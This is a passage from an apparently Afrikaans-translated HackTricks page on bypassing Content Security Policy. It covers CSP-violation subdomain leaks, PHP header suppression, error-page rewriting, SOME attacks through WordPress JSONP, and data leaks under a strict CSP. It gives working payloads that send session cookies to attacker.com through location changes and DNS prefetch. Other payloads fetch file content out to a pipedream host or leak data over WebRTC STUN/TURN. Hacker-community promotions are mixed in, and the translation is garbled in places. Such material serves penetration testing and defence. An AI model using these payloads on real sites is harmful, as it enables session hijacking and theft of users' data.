  • Deur te luister na die securitypolicyviolation gebeurtenis, kan mens die blockedURI eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein waarheen die oorspronklike URL verwys het, uitlek.

Dit is interessant om op te merk dat webblaaier soos Chrome en Firefox verskillende gedrag het met betrekking tot die hantering van iframes met betrekking tot CSP, wat kan lei tot die potensiële uitlek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.

'n Ander tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode steun op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat opsetlik geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP riglyn te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n uittreksel wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Deur te monitor watter versoekers deur die CSP geblokkeer of toegelaat word, kan mens die moontlike karakters in die geheime subdomein beperk, en uiteindelik die volledige URL blootlê.

Beide metodes maak gebruik van die subtiliteite van CSP-implementering en -gedrag in webblaaier, wat demonstreer hoe oggend veilige beleide onbedoeld sensitiewe inligting kan laat lek.

Truuk van hier.

Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!

Hack-insigte
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack ondersoek

Nuutste Hack-nuus
Bly op hoogte van die vinnige hack-wêreld deur middel van nuus en insigte in werklikheid

Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Onveilige Tegnologieë om CSP te omseil

PHP Foute wanneer te veel parameters

Volgens die laaste tegniek wat in hierdie video gekommentaar is, deur te veel parameters te stuur (1001 GET parameters alhoewel jy dit ook met POST parameters en meer as 20 lêers kan doen). Enige gedefinieerde header() in die PHP-webkode sal nie gestuur word as gevolg van die fout wat dit sal veroorsaak.

PHP responsbuffer oorlading

PHP is bekend vir die buffer van die respons tot 4096 grepe standaard. Daarom, as PHP 'n waarskuwing wys, deur genoeg data binne waarskuwings te voorsien, sal die respons gestuur word voor die CSP-header, wat veroorsaak dat die header geïgnoreer word.
Dan bestaan die tegniek basies daarin om die responsbuffer met waarskuwings te vul sodat die CSP-header nie gestuur word nie.

Idee vanaf hierdie writeup.

Herskryf Foutbladsy

Vanaf hierdie writeup lyk dit asof dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (moontlik sonder CSP) te laai en sy inhoud te herskryf.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) misbruik in 'n eindpunt van 'n bladsy om ander eindpunte van dieselfde oorsprong te misbruik. Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvaller se bladsy te laai en dan die aanvaller se bladsy na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik, te verfris. Op hierdie manier kan die kwesbare eindpunt die opener-voorwerp in die lading gebruik om toegang te verkry tot die DOM van die werklike eindpunt wat misbruik moet word. Vir meer inligting, kyk:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Daarbenewens het wordpress 'n JSONP-eindpunt in /wp-json/wp/v2/users/1?_jsonp=data wat die gestuurde data in die uitset sal weerspieël (met die beperking van slegs letters, syfers en kolletjies).

'n Aanvaller kan daardie eindpunt misbruik om 'n SOME-aanval teen WordPress te genereer en dit binne <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> in te sluit. Let daarop dat hierdie script sal laai omdat dit toegelaat word deur 'self'. Daarbenewens, en omdat WordPress geïnstalleer is, kan 'n aanvaller die SOME-aanval misbruik deur die kwesbare terugroep-eindpunt wat die CSP omseil om meer regte aan 'n gebruiker te gee, 'n nuwe invoegtoepassing te installeer...
Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk na https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Uitlekverbygaan

As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te interakteer nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting uit te lek.

Ligging

Jy kan eenvoudig die ligging opdateer om die geheime inligting aan die aanvaller se bediener te stuur:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta-tag

Jy kan omskakel deur 'n meta-tag in te spuit (dit is net 'n omskakeling, dit sal nie inhoud lek nie)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Voorafhaal

Om bladsye vinniger te laai, gaan webblaaier hostnames na IP-adresse vooraf oplos en hulle vir later gebruik in 'n kasgeheue stoor.
Jy kan 'n webblaaier aandui om 'n hostname vooraf op te los met: <link rel="dns-prefetch" href="iets.com">

Jy kan hierdie gedrag misbruik om gevoelige inligting via DNS-versoeke uit te voer:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Bypassing Content Security Policy (CSP)

Metode 2: Reflected XSS met CSP-bypass

In hierdie scenario kan ons 'n spesifieke CSP-bypass-tegniek gebruik wat bekend staan as 'reflected XSS'. Dit behels die insluiting van skadelike skrips in 'n URL wat deur die webtoepassing verwerk word en wat dan uitgevoer word deur die webblaaier van die slagoffer. Hierdie tegniek kan gebruik word om die CSP-beperkings te omseil en skadelike skrips op die bladsy uit te voer.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Om te voorkom dat dit gebeur, kan die bediener die HTTP-kop stuur:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Blykbaar werk hierdie tegniek nie in headless-browsers (bots) {% endhint %}

WebRTC

Op verskeie bladsye kan jy lees dat WebRTC nie die connect-src beleid van die CSP nagaan nie.

Eintlik kan jy inligting lek deur 'n DNS versoek te gebruik. Kyk na hierdie kode:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

'n Ander opsie:'

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Kontroleer CSP-beleide aanlyn

Skep CSP outomaties

https://csper.io/docs/generating-content-security-policy

Verwysings

Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!

Hack-insigte
Betrokkenheid met inhoud wat die opwinding en uitdagings van hack bekyk

Hack Nuus in Werklikheid
Bly op hoogte van die vinnige hack-wêreld deur werklikheidsnuus en insigte

Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platformopdaterings

Sluit by ons aan op Discord en begin saamwerk met top hackers vandag!

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: